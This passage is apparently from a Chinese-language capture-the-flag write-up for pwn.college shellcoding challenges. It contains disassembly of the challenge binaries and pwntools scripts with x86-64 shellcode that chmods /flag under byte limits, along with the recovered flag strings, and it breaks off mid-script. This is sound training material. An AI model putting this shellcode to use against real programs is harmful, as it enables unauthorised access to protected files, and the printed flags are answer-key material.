│ ╎│ ; CODE XREF from main @ 0x162e(x)
│ ╎└─> 0x0000163e 817dec0f27.. cmp dword [fildes], 0x270f ; '\x0f\''
│ └──< 0x00001645 7ee9 jle 0x1630
│ 0x00001647 488b45d0 mov rax, qword [var_30h]
│ 0x0000164b 488945f0 mov qword [s], rax
│ ┌─< 0x0000164f eb2b jmp 0x167c
│ │ ; CODE XREF from main @ 0x1686(x)
│ ┌──> 0x00001651 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001655 488b00 mov rax, qword [rax]
│ ╎│ 0x00001658 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000165b e800fbffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001660 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001663 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001667 488b00 mov rax, qword [rax]
│ ╎│ 0x0000166a be00000000 mov esi, 0 ; int c
│ ╎│ 0x0000166f 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001672 e829fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001677 488345f008 add qword [s], 8
│ ╎│ ; CODE XREF from main @ 0x164f(x)
│ ╎└─> 0x0000167c 488b45f0 mov rax, qword [s]
│ ╎ 0x00001680 488b00 mov rax, qword [rax]
│ ╎ 0x00001683 4885c0 test rax, rax
│ └──< 0x00001686 75c9 jne 0x1651
│ 0x00001688 488b45c8 mov rax, qword [var_38h]
│ 0x0000168c 488945f8 mov qword [var_8h], rax
│ ┌─< 0x00001690 eb2b jmp 0x16bd
│ │ ; CODE XREF from main @ 0x16c7(x)
│ ┌──> 0x00001692 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001696 488b00 mov rax, qword [rax]
│ ╎│ 0x00001699 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000169c e8bffaffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x000016a1 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x000016a4 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x000016a8 488b00 mov rax, qword [rax]
│ ╎│ 0x000016ab be00000000 mov esi, 0 ; int c
│ ╎│ 0x000016b0 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x000016b3 e8e8faffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x000016b8 488345f808 add qword [var_8h], 8
│ ╎│ ; CODE XREF from main @ 0x1690(x)
│ ╎└─> 0x000016bd 488b45f8 mov rax, qword [var_8h]
│ ╎ 0x000016c1 488b00 mov rax, qword [rax]
│ ╎ 0x000016c4 4885c0 test rax, rax
│ └──< 0x000016c7 75c9 jne 0x1692
│ 0x000016c9 41b900000000 mov r9d, 0 ; size_t offset
│ 0x000016cf 41b800000000 mov r8d, 0 ; int fd
│ 0x000016d5 b922000000 mov ecx, 0x22 ; '\"' ; int flags
│ 0x000016da ba07000000 mov edx, 7 ; int prot
│ 0x000016df be00100000 mov esi, sym._init ; 0x1000 ; size_t length
│ 0x000016e4 bf00f0f514 mov edi, 0x14f5f000 ; void*addr
│ 0x000016e9 e882faffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x000016ee 4889054329.. mov qword [obj.shellcode], rax ; [0x4038:8]=0
│ 0x000016f5 488b053c29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000016fc 483d00f0f514 cmp rax, 0x14f5f000
│ ┌─< 0x00001702 741f je 0x1723
│ │ 0x00001704 488d0d360e.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x0000170b ba62000000 mov edx, 0x62 ; 'b' ; unsigned int line
│ │ 0x00001710 488d35a90c.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x00001717 488d3dc20c.. lea rdi, str.shellcode___void__0x14f5f000 ; str.shellcode___void__0x14f5f000
│ │ ; 0x23e0 ; "shellcode == (void *)0x14f5f000" ; const char *assertion
│ │ 0x0000171e e86dfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1702(x)
│ └─> 0x00001723 488b050e29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000172a 4889c6 mov rsi, rax
│ 0x0000172d 488d3dcc0c.. lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│ ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│ 0x00001734 b800000000 mov eax, 0
│ 0x00001739 e842faffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000173e 488d3deb0c.. lea rdi, str.Reading_0x12_bytes_from_stdin._n ; str.Reading_0x12_bytes_from_stdin._n
│ ; 0x2430 ; "Reading 0x12 bytes from stdin.\n" ; const char *s
│ 0x00001745 e8f6f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000174a 488b05e728.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x00001751 ba12000000 mov edx, 0x12 ; size_t nbyte
│ 0x00001756 4889c6 mov rsi, rax ; void *buf
│ 0x00001759 bf00000000 mov edi, 0 ; int fildes
│ 0x0000175e e85dfaffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00001763 488905c628.. mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│ 0x0000176a 488b05bf28.. mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001771 4885c0 test rax, rax
│ ┌─< 0x00001774 751f jne 0x1795
│ │ 0x00001776 488d0dc40d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x0000177d ba67000000 mov edx, 0x67 ; 'g' ; unsigned int line
│ │ 0x00001782 488d35370c.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x00001789 488d3dc00c.. lea rdi, str.shellcode_size___0 ; 0x2450 ; "shellcode_size > 0" ; const char *assertion
│ │ 0x00001790 e8fbf9ffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1774(x)
│ └─> 0x00001795 488d3dcc0c.. lea rdi, str.Removing_write_permissions_from_first_4096_bytes_of_shellcode._n ; 0x2468 ; "Removing write permissions from first 4096 bytes of shellcode.\n" ; const char *s
│ 0x0000179c e89ff9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017a1 488b059028.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017a8 ba05000000 mov edx, 5
│ 0x000017ad be00100000 mov esi, sym._init ; 0x1000
│ 0x000017b2 4889c7 mov rdi, rax
│ 0x000017b5 e846faffff call sym.imp.mprotect
│ 0x000017ba 85c0 test eax, eax
│ ┌─< 0x000017bc 741f je 0x17dd
│ │ 0x000017be 488d0d7c0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x000017c5 ba6a000000 mov edx, 0x6a ; 'j' ; unsigned int line
│ │ 0x000017ca 488d35ef0b.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x000017d1 488d3dd00c.. lea rdi, str.mprotect_shellcode__4096__PROT_READPROT_EXEC___0 ; 0x24a8 ; "mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0" ; const char *assertion
│ │ 0x000017d8 e8b3f9ffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x17bc(x)
│ └─> 0x000017dd 488d3dfc0c.. lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x24e0 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│ 0x000017e4 e857f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017e9 488b154028.. mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x000017f0 488b054128.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017f7 4889d6 mov rsi, rdx ; int64_t arg2
│ 0x000017fa 4889c7 mov rdi, rax ; int64_t arg1
│ 0x000017fd e807fbffff call sym.print_disassembly
│ 0x00001802 488d3d140d.. lea rdi, [0x0000251d] ; const char *s
│ 0x00001809 e832f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000180e 488d3d090d.. lea rdi, str.Executing_shellcode__n ; 0x251e ; "Executing shellcode!\n" ; const char *s
│ 0x00001815 e826f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000181a 488b051728.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
# shellcode in rdx
│ 0x00001821 4889c2 mov rdx, rax
│ 0x00001824 b800000000 mov eax, 0
│ 0x00001829 ffd2 call rdx
│ 0x0000182b 488d3d020d.. lea rdi, str._Goodbye_ ; 0x2534 ; "### Goodbye!" ; const char *s
│ 0x00001832 e809f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001837 b800000000 mov eax, 0
│ 0x0000183c c9 leave
└ 0x0000183d c3 ret

程序在 call shellcode 之前,把 shellcode 的起始地址 (0x14f5f000) 塞进了 rdx 寄存器里。

可以直接把字符串硬编码在指令的末尾,然后用 rdx 来获取 ASCII 字符串的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/byte-budget"

# syscall chmod
payload_asm = """
.intel_syntax noprefix
lea rdi, [rdx + 12]
push 4
pop rsi
push 90
pop rax
syscall
.ascii "/flag"
"""

payload = asm(payload_asm)
log.info(f"Payload length: {len(payload)} bytes (Arch Way Minimal!)")

p = process(target_binary)
p.send(payload)

p.wait()

import os

os.system("cat /flag")
pwn.college{c0WCX5hfQ61Xr0NdbS8GG93279M.0FNyIDL4cjM1gzW}

ClobberCode

Write and execute shellcode to read the flag, but this time your shellcode is partially overwritten with 0xcc (INT 3) every other 10 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
hacker@program-security~clobbercode:~$ /challenge/clobbercode
###
### Welcome to /challenge/clobbercode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x2e692000!
Reading 0x1000 bytes from stdin.

This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an
instruction is an `INT 3`, which is an interrupt to call into the debugger. You must avoid these modifications in your
shellcode.

Removing write permissions from first 4096 bytes of shellcode.

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x000000002e692000 | 31 ff | xor edi, edi
0x000000002e692002 | 6a 69 | push 0x69
0x000000002e692004 | 58 | pop rax
0x000000002e692005 | 0f 05 | syscall
0x000000002e692007 | 31 f6 | xor esi, esi
0x000000002e692009 | 56 | push rsi
0x000000002e69200a | cc | int3
0x000000002e69200b | cc | int3
0x000000002e69200c | cc | int3
0x000000002e69200d | cc | int3
0x000000002e69200e | cc | int3
0x000000002e69200f | cc | int3
0x000000002e692010 | cc | int3
0x000000002e692011 | cc | int3
0x000000002e692012 | cc | int3
0x000000002e692013 | cc | int3
0x000000002e692014 | 47 04 2f | add al, 0x2f

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/clobbercode"

payload_asm = """
.intel_syntax noprefix

xor eax, eax
push rax
mov eax, 0x67616c66
jmp b2

.rept 10
nop
.endr

b2:
shl rax, 8
mov al, 0x2f
nop
nop
jmp b3

.rept 10
nop
.endr

b3:
push rax
push rsp
pop rdi
push 4
pop rsi
nop
nop
jmp b4

.rept 10
nop
.endr

b4:
push 90
pop rax
syscall
"""

payload = asm(payload_asm)
log.info(f"Generated Payload Size: {len(payload)} bytes")

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{QOtrCvTfAfczjbdUxqvPYGKqWTY.0VNyIDL4cjM1gzW}

Diverse Delivery

Write and execute shellcode to read the flag, but every byte in your input must be unique.

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~diverse-delivery:~$ /challenge/diverse-delivery ###
### Welcome to /challenge/diverse-delivery!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x237a3000!
Reading 0x1000 bytes from stdin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/diverse-delivery"

# 20 bytes of pure unique perfection
payload_asm = """
.intel_syntax noprefix
movabs rbx, 0x02010067616c662f
push rbx
push rsp
pop rdi
push 0x3f
pop rsi
mov al, 90
syscall
"""

payload = asm(payload_asm)

unique_bytes = set(payload)

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{k-QnO4vkMzyh_61th5kjPIrt_UL.0FOyIDL4cjM1gzW}

Pocket Payload

Write and execute shellcode to read the flag, but this time you only get 12 bytes!

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~pocket-payload:~$ /challenge/pocket-payload
###
### Welcome to /challenge/pocket-payload!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19902000!
Reading 0xc bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/pocket-payload"

payload_asm = """
.intel_syntax noprefix
push rdx
pop rdi
push 0x3f
pop rsi
mov al, 90
syscall
"""

payload = asm(payload_asm).ljust(12, b"\x90")

log.info(f"Payload (also our symlink name): {payload}")

try:
os.remove(payload)
except OSError:
pass

os.symlink(b"/flag", payload)

p = process(target_binary)
p.send(payload)

p.wait()

os.system("cat /flag")

Micro Menace

Write and execute shellcode to read the flag, but this time you only get 6 bytes :)

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~micro-menace:~$ /challenge/micro-menace
###
### Welcome to /challenge/micro-menace!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19f00000!
Reading 0x6 bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
            ; ICOD XREF from entry0 @ 0x1221(r)
┌ 655: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│ 0x00001547 f30f1efa endbr64
│ 0x0000154b 55 push rbp
│ 0x0000154c 4889e5 mov rbp, rsp
│ 0x0000154f 4883ec40 sub rsp, 0x40
│ 0x00001553 897ddc mov dword [var_24h], edi ; argc
│ 0x00001556 488975d0 mov qword [var_30h], rsi ; argv
│ 0x0000155a 488955c8 mov qword [var_38h], rdx ; envp
│ 0x0000155e 488b05bb2a.. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x4020:8]=0
│ 0x00001565 b900000000 mov ecx, 0 ; size_t size
│ 0x0000156a ba02000000 mov edx, 2 ; int mode
│ 0x0000156f be00000000 mov esi, 0 ; char *buf
│ 0x00001574 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001577 e854fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000157c 488b058d2a.. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x4010:8]=0
│ 0x00001583 b900000000 mov ecx, 0 ; size_t size
│ 0x00001588 ba02000000 mov edx, 2 ; int mode
│ 0x0000158d be00000000 mov esi, 0 ; char *buf
│ 0x00001592 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001595 e836fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000159a 488d3d240c.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015a1 e88afbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015a6 488b45d0 mov rax, qword [var_30h]
│ 0x000015aa 488b00 mov rax, qword [rax]
│ 0x000015ad 4889c6 mov rsi, rax
│ 0x000015b0 488d3d120c.. lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│ 0x000015b7 b800000000 mov eax, 0
│ 0x000015bc e8affbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015c1 488d3dfd0b.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015c8 e863fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015cd bf0a000000 mov edi, 0xa ; int c
│ 0x000015d2 e849fbffff call sym.imp.putchar ; int putchar(int c)
│ 0x000015d7 488d3d020c.. lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│ 0x000015de e84dfbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015e3 488d3d760c.. lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│ 0x000015ea e841fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015ef 488d3de20c.. lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│ 0x000015f6 e835fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015fb 488d3d4e0d.. lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│ 0x00001602 e829fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001607 c745ec0300.. mov dword [fildes], 3
│ ┌─< 0x0000160e eb0e jmp 0x161e
│ │ ; CODE XREF from main @ 0x1625(x)
│ ┌──> 0x00001610 8b45ec mov eax, dword [fildes]
│ ╎│ 0x00001613 89c7 mov edi, eax ; int fildes
│ ╎│ 0x00001615 e886fbffff call sym.imp.close ; int close(int fildes)
│ ╎│ 0x0000161a 8345ec01 add dword [fildes], 1
│ ╎│ ; CODE XREF from main @ 0x160e(x)
│ ╎└─> 0x0000161e 817dec0f27.. cmp dword [fildes], 0x270f ; '\x0f\''
│ └──< 0x00001625 7ee9 jle 0x1610
│ 0x00001627 488b45d0 mov rax, qword [var_30h]
│ 0x0000162b 488945f0 mov qword [s], rax
│ ┌─< 0x0000162f eb2b jmp 0x165c
│ │ ; CODE XREF from main @ 0x1666(x)
│ ┌──> 0x00001631 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001635 488b00 mov rax, qword [rax]
│ ╎│ 0x00001638 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000163b e810fbffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001640 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001643 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001647 488b00 mov rax, qword [rax]
│ ╎│ 0x0000164a be00000000 mov esi, 0 ; int c
│ ╎│ 0x0000164f 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001652 e839fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001657 488345f008 add qword [s], 8
│ ╎│ ; CODE XREF from main @ 0x162f(x)
│ ╎└─> 0x0000165c 488b45f0 mov rax, qword [s]
│ ╎ 0x00001660 488b00 mov rax, qword [rax]
│ ╎ 0x00001663 4885c0 test rax, rax
│ └──< 0x00001666 75c9 jne 0x1631
│ 0x00001668 488b45c8 mov rax, qword [var_38h]
│ 0x0000166c 488945f8 mov qword [var_8h], rax
│ ┌─< 0x00001670 eb2b jmp 0x169d
│ │ ; CODE XREF from main @ 0x16a7(x)
│ ┌──> 0x00001672 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001676 488b00 mov rax, qword [rax]
│ ╎│ 0x00001679 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000167c e8cffaffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001681 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001684 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001688 488b00 mov rax, qword [rax]
│ ╎│ 0x0000168b be00000000 mov esi, 0 ; int c
│ ╎│ 0x00001690 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001693 e8f8faffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001698 488345f808 add qword [var_8h], 8
│ ╎│ ; CODE XREF from main @ 0x1670(x)
│ ╎└─> 0x0000169d 488b45f8 mov rax, qword [var_8h]
│ ╎ 0x000016a1 488b00 mov rax, qword [rax]
│ ╎ 0x000016a4 4885c0 test rax, rax
│ └──< 0x000016a7 75c9 jne 0x1672
│ 0x000016a9 41b900000000 mov r9d, 0 ; size_t offset
│ 0x000016af 41b800000000 mov r8d, 0 ; int fd
│ 0x000016b5 b922000000 mov ecx, 0x22 ; '\"' ; int flags
│ 0x000016ba ba07000000 mov edx, 7 ; int prot
│ 0x000016bf be00100000 mov esi, sym._init ; 0x1000 ; size_t length
│ 0x000016c4 bf0000f019 mov edi, 0x19f00000 ; void*addr
│ 0x000016c9 e892faffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x000016ce 4889056329.. mov qword [obj.shellcode], rax ; [0x4038:8]=0
│ 0x000016d5 488b055c29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000016dc 483d0000f019 cmp rax, 0x19f00000
│ ┌─< 0x000016e2 741f je 0x1703
│ │ 0x000016e4 488d0dde0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│ │ 0x000016eb ba62000000 mov edx, 0x62 ; 'b' ; unsigned int line
│ │ 0x000016f0 488d35c90c.. lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│ │ 0x000016f7 488d3de20c.. lea rdi, str.shellcode___void__0x19f00000 ; str.shellcode___void__0x19f00000
│ │ ; 0x23e0 ; "shellcode == (void *)0x19f00000" ; const char *assertion
│ │ 0x000016fe e87dfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x16e2(x)
│ └─> 0x00001703 488b052e29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000170a 4889c6 mov rsi, rax
│ 0x0000170d 488d3dec0c.. lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│ ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│ 0x00001714 b800000000 mov eax, 0
│ 0x00001719 e852faffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000171e 488d3d0b0d.. lea rdi, str.Reading_0x6_bytes_from_stdin._n ; str.Reading_0x6_bytes_from_stdin._n
│ ; 0x2430 ; "Reading 0x6 bytes from stdin.\n" ; const char *s
│ 0x00001725 e806faffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000172a 488b050729.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x00001731 ba06000000 mov edx, 6 ; size_t nbyte
│ 0x00001736 4889c6 mov rsi, rax ; void *buf
│ 0x00001739 bf00000000 mov edi, 0 ; int fildes
│ 0x0000173e e86dfaffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00001743 488905e628.. mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│ 0x0000174a 488b05df28.. mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001751 4885c0 test rax, rax
│ ┌─< 0x00001754 751f jne 0x1775
│ │ 0x00001756 488d0d6c0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│ │ 0x0000175d ba67000000 mov edx, 0x67 ; 'g' ; unsigned int line
│ │ 0x00001762 488d35570c.. lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│ │ 0x00001769 488d3ddf0c.. lea rdi, str.shellcode_size___0 ; 0x244f ; "shellcode_size > 0" ; const char *assertion
│ │ 0x00001770 e80bfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1754(x)
│ └─> 0x00001775 488d3dec0c.. lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x2468 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│ 0x0000177c e8aff9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001781 488b15a828.. mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001788 488b05a928.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000178f 4889d6 mov rsi, rdx ; int64_t arg2
│ 0x00001792 4889c7 mov rdi, rax ; int64_t arg1
│ 0x00001795 e84ffbffff call sym.print_disassembly
│ 0x0000179a 488d3d040d.. lea rdi, [0x000024a5] ; const char *s
│ 0x000017a1 e88af9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017a6 488d3df90c.. lea rdi, str.Executing_shellcode__n ; 0x24a6 ; "Executing shellcode!\n" ; const char *s
│ 0x000017ad e87ef9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017b2 488b057f28.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017b9 4889c2 mov rdx, rax
│ 0x000017bc b800000000 mov eax, 0
│ 0x000017c1 ffd2 call rdx
│ 0x000017c3 488d3df20c.. lea rdi, str._Goodbye_ ; 0x24bc ; "### Goodbye!" ; const char *s
│ 0x000017ca e861f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017cf b800000000 mov eax, 0
│ 0x000017d4 c9 leave
└ 0x000017d5 c3 ret

Solution: Two-stage shellcode

Stage 1 (6 bytes) 用 sys_read 把 Stage 2 读到可执行内存中:

1
2
3
4
5
6
.intel_syntax noprefix
push rax /* rax 进入 shellcode 时是 0,入栈 */
pop rdi /* rdi = 0 (stdin 的 fd) */
push rdx /* rdx 存着当前 shellcode 的内存基址 0x19f00000 */
pop rsi /* rsi = 0x19f00000 (我们要把新代码读到这块可执行内存里) */
syscall /* 触发系统调用 因为 rax 是 0,执行 sys_read */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import itertools
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "error"

target_binary = "/challenge/micro-menace"

stage ="""
.intel_syntax noprefix
push rax
pop rdi
push rdx
pop rsi
syscall
"""

payload = asm(stage)

p = process(target_binary)
p.send(payload)

time.sleep(0.1)

# sys_read 从 0x19f00000 这个起始地址开始写入 Stage 2 数据, add 6 nop to cover the stage 1 data
